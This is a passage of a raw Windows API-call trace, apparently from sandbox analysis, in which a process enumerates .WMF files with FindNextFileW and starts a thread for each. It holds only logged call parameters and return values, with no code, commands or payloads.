	[0199.739] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73bfd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa73bfd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1
	[0199.739] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13e0
	[0199.743] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.743] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60ad000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa60ad000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1
	[0199.743] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13e4
	[0199.746] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.747] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4d9a300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4d9a300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1
	[0199.747] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13e8
	[0199.750] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.750] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a87600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3a87600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1
	[0199.750] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13ec
	[0200.139] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0200.139] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2774900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2774900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1
	[0200.139] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0200.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13f0
	[0200.142] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0200.143] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf50d3100, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf50d3100, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1
	[0200.143] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0200.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13f4
	[0200.145] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0200.146] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb4f600, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb4f600, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1
	[0200.146] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0200.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13f8
	[0200.149] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0200.150] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4dd7200, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4dd7200, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1
	[0200.150] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0200.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13fc
	[0200.152] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0200.153] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbef0a100, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbef0a100, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00775_.WMF", cAlternateFileName="")) returned 1
	[0200.153] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0200.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1404
	[0200.155] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0200.156] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2364900, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2364900, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x2332, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00779_.WMF", cAlternateFileName="")) returned 1
	[0200.156] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0200.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1408
	[0200.159] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0200.160] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4adb300, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4adb300, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x3690, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00799_.WMF", cAlternateFileName="")) returned 1
	[0200.160] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0200.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140c
	[0200.163] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0200.163] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad86a500, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad86a500, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00814_.WMF", cAlternateFileName="")) returned 1
	[0200.163] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0200.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1410
	[0200.166] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0200.167] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fdeb00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95fdeb00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00965_.WMF", cAlternateFileName="")) returned 1
	[0200.167] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0200.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1414
	[0200.169] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0200.169] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9963a600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9963a600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01074_.WMF", cAlternateFileName="")) returned 1
	[0200.169] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0200.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1418
	[0200.172] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0200.172] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf455c700, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf455c700, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01084_.WMF", cAlternateFileName="")) returned 1
	[0200.172] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0200.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x141c
	[0200.913] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0200.914] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ff1000, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ff1000, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01176_.WMF", cAlternateFileName="")) returned 1
	[0200.914] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0200.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1428
	[0200.917] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0200.917] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d752900, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d752900, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01191_.WMF", cAlternateFileName="")) returned 1
	[0200.917] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0200.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x142c
	[0201.468] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.470] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97014c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97014c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01193_.WMF", cAlternateFileName="")) returned 1
	[0201.470] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0201.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1420
	[0201.472] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.473] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e1a200, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49e1a200, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x91c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01196_.WMF", cAlternateFileName="")) returned 1
	[0201.473] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0201.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1468
	[0201.475] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.476] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cfde00, ftCreationTime.dwHighDateTime=0x1bf3242, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80cfde00, ftLastWriteTime.dwHighDateTime=0x1bf3242, nFileSizeHigh=0x0, nFileSizeLow=0x284c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01548_.WMF", cAlternateFileName="")) returned 1
	[0201.476] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0201.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x146c
	[0201.478] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.479] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4fe7000, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4fe7000, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x76ce, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01657_.WMF", cAlternateFileName="")) returned 1
	[0201.479] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0201.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1470
	[0201.482] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.482] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb44f00, ftCreationTime.dwHighDateTime=0x1bd4c0c, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4eb44f00, ftLastWriteTime.dwHighDateTime=0x1bd4c0c, nFileSizeHigh=0x0, nFileSizeLow=0x4604, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01658_.WMF", cAlternateFileName="")) returned 1
	[0201.482] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0201.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1474
	[0201.485] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.485] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02ca800, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf02ca800, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x79cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01659_.WMF", cAlternateFileName="")) returned 1
	[0201.485] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0201.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1478
	[0201.517] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.518] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd62f9d00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd62f9d00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1
	[0201.518] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0201.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x147c
	[0201.521] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.522] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1
	[0201.522] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0201.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1480
	[0201.524] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.524] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1
	[0201.524] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0201.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1484
	[0201.526] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.527] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1
	[0201.527] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0201.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1488
